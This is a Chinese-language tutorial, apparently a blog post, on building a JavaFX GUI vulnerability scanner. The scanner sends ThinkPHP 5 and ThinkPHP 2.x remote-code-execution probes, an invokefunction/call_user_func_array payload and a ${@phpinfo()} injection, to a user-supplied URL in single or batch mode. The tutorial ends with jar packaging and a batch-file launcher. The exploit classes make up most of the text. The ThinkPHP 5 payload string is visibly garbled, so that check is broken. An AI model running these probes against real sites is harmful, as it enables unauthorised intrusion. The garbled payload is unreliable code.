目錄
一,JAVAFX-GUI單個漏洞檢測編寫
1.1 綁定事件????????
1.2 Thinkphp5_Rce編寫?
?1.3 編寫利用類
1.4?Thinkphp2x_Rce編寫
1.5 單個漏洞檢測GUI工具完整代碼?
二,JAVAFX-GUI單個漏洞批量檢測編寫
2.1 編寫利用反射類?
?2.2 批量檢測漏洞完整GUI工具代碼
?三,JAVAFX-GUI打包為jar包
?3.1.第一步打包jar
?3.2.工件處
3.3?主類選擇如圖所示
?3.4 本機使用配置
3.5 便捷使用創建bat文件?
一,JAVAFX-GUI單個漏洞檢測編寫
1.1 綁定事件????????
布局上有兩個按鈕 分別的功能是 單個模塊檢測和多個模塊檢測。
單個模塊檢測
首選介紹單個模塊檢測
?單個模塊的檢測是 按鈕檢測的時 獲取選擇框的值 調用對應的對應的模塊進行檢測。-先擇框選擇的時候 綁定事件
需要---綁定下拉框和----按鈕事件,獲取----輸入框的url信息和---返回響應結果設置到文本域框中
1.2 Thinkphp5_Rce編寫?
// 沒有選擇過的話,會出現null,因此設置初始值final String[] tmp = {"Thinkphp5_Rce"};//綁定事件// 下拉框選擇事件 設置類型為字符串類型,因為上面選擇框內選擇的為字符類型choiceBox.getSelectionModel().selectedItemProperty().addListener(new ChangeListener<String>() {@Overridepublic void changed(ObservableValue observableValue, String oldValue, String newValue) {//存儲選擇的值,在類里面創建另一個無法獲取,因此在外面創建tmp[0] = newValue;}});//按鈕點擊事件BtnCheck.setOnAction(e->{//為了避免直接打印的卡頓,通過調用進程來實現new Thread(new Runnable() {@Overridepublic void run() {
// System.out.println("點擊");
// System.out.println(tmp[0]);String url = textField.getText();if (tmp[0].equalsIgnoreCase("Thinkphp5_Rce")){Thinkphp5_Rce thinkphp5Rce = new Thinkphp5_Rce(url);String res = thinkphp5Rce.exploit();// System.out.println(res);// 將響應信息設置到文本域框中textArea.setText(res);}}}).start();
});
?1.3 編寫利用類
package com.exp.exploit;import com.github.kevinsawicki.http.HttpRequest;public class Thinkphp5_Rce {private String url;public Thinkphp5_Rce() {}public Thinkphp5_Rce(String url) {this.url = url;}public String exploit(){String payload = "/?s=index/thinklapp/invokefunction&function=call user func_array&vars[0]=md5&vars[1][=1";try{HttpRequest request = HttpRequest.get(this.url + payload, true);String content = request.body();if (content.contains("c4ca4238a0b923820dcc509a6f75849b")){return this.url + "存在Thinkphp5_Rce漏洞:\n 漏洞檢測代碼:" + payload;}else{return "Thinkphp5_Rce漏洞 不存在";}} catch (Exception e) {e.printStackTrace();return "訪問異常";}}}
1.4?Thinkphp2x_Rce編寫
package com.exp.exploit;import com.github.kevinsawicki.http.HttpRequest;public class Thinkphp2x_Rce {private String url;public Thinkphp2x_Rce() {}public Thinkphp2x_Rce(String url) {this.url = url;}public String exploit(){String payload = "/?s=/E/D/I/${@phpinfo()}";try{HttpRequest request = HttpRequest.get(this.url + payload, true);String content = request.body();if (content.contains("phpinfo")){return this.url + " " + "存在Thinkphp2x_Rce漏洞:\n 漏洞檢測代碼:" + " " + this.url + payload;}else{return "Thinkphp2x_Rce漏洞 不存在";}} catch (Exception e) {e.printStackTrace();return "訪問異常";}}}
1.5 單個漏洞檢測GUI工具完整代碼?
package com.exp;import com.exp.exploit.Thinkphp2x_Rce;
import com.exp.exploit.Thinkphp5_Rce;
import javafx.application.Application;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.collections.FXCollections;
import javafx.scene.Scene;
import javafx.scene.control.*;
import javafx.scene.layout.AnchorPane;
import javafx.stage.Stage;public class JavaFxMain extends Application {public static void main(String[] args) {//默認有的方法launch();}@Overridepublic void start(Stage stage) throws Exception {//設置舞臺的標題stage.setTitle("漏洞檢測工具");//禁止放大,無法點擊最大化按鈕stage.setResizable(false);//布局控件AnchorPane anchorPane = new AnchorPane();//設置控件Label UrlLabel = new Label("網址:");Label MsgLabel = new Label("信息:");//文本框TextField textField = new TextField();//設置文本框的默認值setText 設置提示setPromptTexttextField.setPromptText("請輸入網址:");//設置下拉框String []pocs = {"Thinkphp5_Rce","Thinkphp2x_Rce",};ChoiceBox choiceBox = new ChoiceBox(FXCollections.observableArrayList(pocs));//設置默認值choiceBox.setValue("Thinkphp5_Rce");//設置按鈕Button BtnCheck = new Button("單個檢測");Button BtnBatch = new Button("批量檢測");//設置文本域TextArea textArea = new TextArea();textArea.setPromptText("返回結果信息........");//設置下拉屬性textArea.setWrapText(true);textArea.setPrefHeight(300);//設置控件的位置//設置網址標簽的位置UrlLabel.setLayoutX(20);UrlLabel.setLayoutY(13);//設置信息標簽的位置MsgLabel.setLayoutX(20);MsgLabel.setLayoutY(50);//設置文本框位置textField.setLayoutX(70);textField.setLayoutY(10);//設置文本框的寬度textField.setPrefWidth(260);//選擇框choiceBox.setLayoutX(340);choiceBox.setLayoutY(10);//設置button1的位置BtnCheck.setLayoutX(480);BtnCheck.setLayoutY(10);//設置button2的位置BtnBatch.setLayoutX(550);BtnBatch.setLayoutY(10);//設置文本域的位置textArea.setLayoutX(70);textArea.setLayoutY(50);//add 是單個控件 addAll 是多個控件anchorPane.getChildren().addAll(UrlLabel,MsgLabel,textField,choiceBox,BtnCheck,BtnBatch,textArea);//設置場景 以及場景的大小Scene scene = new Scene(anchorPane, 700, 400);stage.setScene(scene);stage.show();// 沒有選擇過的話,會出現null,因此設置初始值final String[] tmp = {"Thinkphp5_Rce"};//綁定事件// 下拉框選擇事件 設置類型為字符串類型,因為上面選擇框內選擇的為字符類型choiceBox.getSelectionModel().selectedItemProperty().addListener(new ChangeListener<String>() {@Overridepublic void changed(ObservableValue observableValue, String oldValue, String newValue) {//存儲選擇的值,在類里面創建另一個無法獲取,因此在外面創建tmp[0] = newValue;}});//按鈕點擊事件BtnCheck.setOnAction(e->{//為了避免直接打印的卡頓,通過調用進程來實現new Thread(new Runnable() {@Overridepublic void run() {
// System.out.println("點擊");
// System.out.println(tmp[0]);String url = textField.getText();if (tmp[0].equalsIgnoreCase("Thinkphp5_Rce")){Thinkphp5_Rce thinkphp5Rce = new Thinkphp5_Rce(url);//調用exp方法String res = thinkphp5Rce.exploit();//System.out.println(res);// 將響應信息設置到文本域框中textArea.setText(res);} else if (tmp[0].equalsIgnoreCase("Thinkphp2x_Rce")) {Thinkphp2x_Rce thinkphp2xRce = new Thinkphp2x_Rce(url);String res = thinkphp2xRce.exploit();textArea.setText(res);}}}).start();});}}
二,JAVAFX-GUI單個漏洞批量檢測編寫
? 獲取下拉框中的所有值,通過值,通過反射獲取對應的exp類,通過反射設置url的值,通過值來進行調用,注意,下拉框的值要與類名一致.
2.1 編寫利用反射類?
//批量檢測//按鈕點擊事件BtnBatch.setOnAction(e->{//為了避免直接打印的卡頓,通過調用進程來實現new Thread(new Runnable() {@Overridepublic void run() {String url = textField.getText();ObservableList<String> AllItems = choiceBox.getItems();for (String item : AllItems) {try {//獲取反射的類,這里需要注意這個com.exp.exploit后面的. 號Class clazz = Class.forName("com.exp.exploit." + item);// 反射的類含有無參構造Object o = clazz.newInstance();//修改反射的類的urlField fieldUrl = clazz.getDeclaredField("url");//設置權限fieldUrl.setAccessible(true);fieldUrl.set(o, url);Method methodExploit = clazz.getMethod("exploit");String res = (String) methodExploit.invoke(o);//先獲取文本域中的內容,然后追加到文本域中(直接設置會出現覆蓋情況)String text = textArea.getText().trim();textArea.setText(text + "\n" + res);} catch (ClassNotFoundException ex) {throw new RuntimeException(ex);} catch (InstantiationException ex) {throw new RuntimeException(ex);} catch (IllegalAccessException ex) {throw new RuntimeException(ex);} catch (NoSuchFieldException ex) {throw new RuntimeException(ex);} catch (NoSuchMethodException ex) {throw new RuntimeException(ex);} catch (InvocationTargetException ex) {throw new RuntimeException(ex);}}}}).start();});
?2.2 批量檢測漏洞完整GUI工具代碼
package com.exp;import com.exp.exploit.Thinkphp2x_Rce;
import com.exp.exploit.Thinkphp5_Rce;
import javafx.application.Application;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
import javafx.scene.Scene;
import javafx.scene.control.*;
import javafx.scene.layout.AnchorPane;
import javafx.stage.Stage;import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;public class JavaFxMain extends Application {public static void main(String[] args) {//默認有的方法launch();}@Overridepublic void start(Stage stage) throws Exception {//設置舞臺的標題stage.setTitle("漏洞檢測工具");//禁止放大,無法點擊最大化按鈕stage.setResizable(false);//布局控件AnchorPane anchorPane = new AnchorPane();//設置控件Label UrlLabel = new Label("網址:");Label MsgLabel = new Label("信息:");//文本框TextField textField = new TextField();//設置文本框的默認值setText 設置提示setPromptTexttextField.setPromptText("請輸入網址:");//設置下拉框String []pocs = {"Thinkphp5_Rce","Thinkphp2x_Rce",};ChoiceBox choiceBox = new ChoiceBox(FXCollections.observableArrayList(pocs));//設置默認值choiceBox.setValue("Thinkphp5_Rce");//設置按鈕Button BtnCheck = new Button("單個檢測");Button BtnBatch = new Button("批量檢測");//設置文本域TextArea textArea = new TextArea();textArea.setPromptText("返回結果信息........");//設置下拉屬性textArea.setWrapText(true);textArea.setPrefHeight(300);//設置控件的位置//設置網址標簽的位置UrlLabel.setLayoutX(20);UrlLabel.setLayoutY(13);//設置信息標簽的位置MsgLabel.setLayoutX(20);MsgLabel.setLayoutY(50);//設置文本框位置textField.setLayoutX(70);textField.setLayoutY(10);//設置文本框的寬度textField.setPrefWidth(260);//選擇框choiceBox.setLayoutX(340);choiceBox.setLayoutY(10);//設置button1的位置BtnCheck.setLayoutX(480);BtnCheck.setLayoutY(10);//設置button2的位置BtnBatch.setLayoutX(550);BtnBatch.setLayoutY(10);//設置文本域的位置textArea.setLayoutX(70);textArea.setLayoutY(50);//add 是單個控件 addAll 是多個控件anchorPane.getChildren().addAll(UrlLabel,MsgLabel,textField,choiceBox,BtnCheck,BtnBatch,textArea);//設置場景 以及場景的大小Scene scene = new Scene(anchorPane, 650, 400);stage.setScene(scene);stage.show();// 沒有選擇過的話,會出現null,因此設置初始值final String[] tmp = {"Thinkphp5_Rce"};//綁定事件// 下拉框選擇事件 設置類型為字符串類型,因為上面選擇框內選擇的為字符類型choiceBox.getSelectionModel().selectedItemProperty().addListener(new ChangeListener<String>() {@Overridepublic void changed(ObservableValue observableValue, String oldValue, String newValue) {//存儲選擇的值,在類里面創建另一個無法獲取,因此在外面創建tmp[0] = newValue;}});//按鈕點擊事件BtnCheck.setOnAction(e->{//為了避免直接打印的卡頓,通過調用進程來實現new Thread(new Runnable() {@Overridepublic void run() {String url = textField.getText();if (tmp[0].equalsIgnoreCase("Thinkphp5_Rce")){Thinkphp5_Rce thinkphp5Rce = new Thinkphp5_Rce(url);//調用exp方法String res = thinkphp5Rce.exploit();//System.out.println(res);// 將響應信息設置到文本域框中textArea.setText(res);} else if (tmp[0].equalsIgnoreCase("Thinkphp2x_Rce")) {Thinkphp2x_Rce thinkphp2xRce = new Thinkphp2x_Rce(url);String res = thinkphp2xRce.exploit();textArea.setText(res);}}}).start();});//批量檢測//按鈕點擊事件BtnBatch.setOnAction(e->{//為了避免直接打印的卡頓,通過調用進程來實現new Thread(new Runnable() {@Overridepublic void run() {String url = textField.getText();ObservableList<String> AllItems = choiceBox.getItems();for (String item : AllItems) {try {//獲取反射的類,這里需要注意這個com.exp.exploit后面的. 號Class clazz = Class.forName("com.exp.exploit." + item);// 反射的類含有無參構造Object o = clazz.newInstance();//修改反射的類的urlField fieldUrl = clazz.getDeclaredField("url");//設置權限fieldUrl.setAccessible(true);fieldUrl.set(o, url);Method methodExploit = clazz.getMethod("exploit");String res = (String) methodExploit.invoke(o);//先獲取文本域中的內容,然后追加到文本域中(直接設置會出現覆蓋情況)String text = textArea.getText().trim();textArea.setText(text + "\n" + res);
// System.out.println(res);} catch (ClassNotFoundException ex) {throw new RuntimeException(ex);} catch (InstantiationException ex) {throw new RuntimeException(ex);} catch (IllegalAccessException ex) {throw new RuntimeException(ex);} catch (NoSuchFieldException ex) {throw new RuntimeException(ex);} catch (NoSuchMethodException ex) {throw new RuntimeException(ex);} catch (InvocationTargetException ex) {throw new RuntimeException(ex);}}}}).start();});}}
?三,JAVAFX-GUI打包為jar包
?3.1.第一步打包jar
在設置處打開項目結構
?3.2.工件處
3.3?主類選擇如圖所示
如圖所示的路徑不要錯,也不要改,不然會出現問題?
點擊確定完成后?
選擇應用-→點擊確定,然后再IDEA的最上面選擇構建工件
選擇構建
輸出的工件如圖所示:在out中,然后就可以拿來使用了?
?3.4 本機使用配置
????????此時將構建好的jar包,復制到桌面發現打不開,或者出現打開后文件大小存在錯誤,這是因為構建工件時,使用的還是系統內置的環境,需要做下面的配置,注意其中-path后的路徑替換為自己本機的包的目錄,下面同理
java -jar --module-path "D:\javafx-sdk-17.0.13\lib" --add-modules javafx.controls,javafx.fxml C:\Users\86199\Desktop\javaFxTools.jar
C:\Users\86199\.jdks\corretto-17.0.10\bin\java -jar --module-path "D:\javafx-sdk-17.0.13\lib" --add-modules javafx.controls,javafx.fxml C:\Users\86199\Desktop\javaFxTools.jar
使用時需要在17.0.10 bin環境下使用
java -version
?然后就會打開如下的工具界面
3.5 便捷使用創建bat文件?
C:\Users\86199\.jdks\corretto-17.0.10\bin\java -jar --module-path "D:\javafx-sdk-17.0.13\lib" --add-modules javafx.controls,javafx.fxml C:\Users\86199\Desktop\javaFxTools.jar前面是jdk17的bin環境路徑 使用的時候只要雙擊bat文件即可
測試能不能正常使用,發現可以正常使用?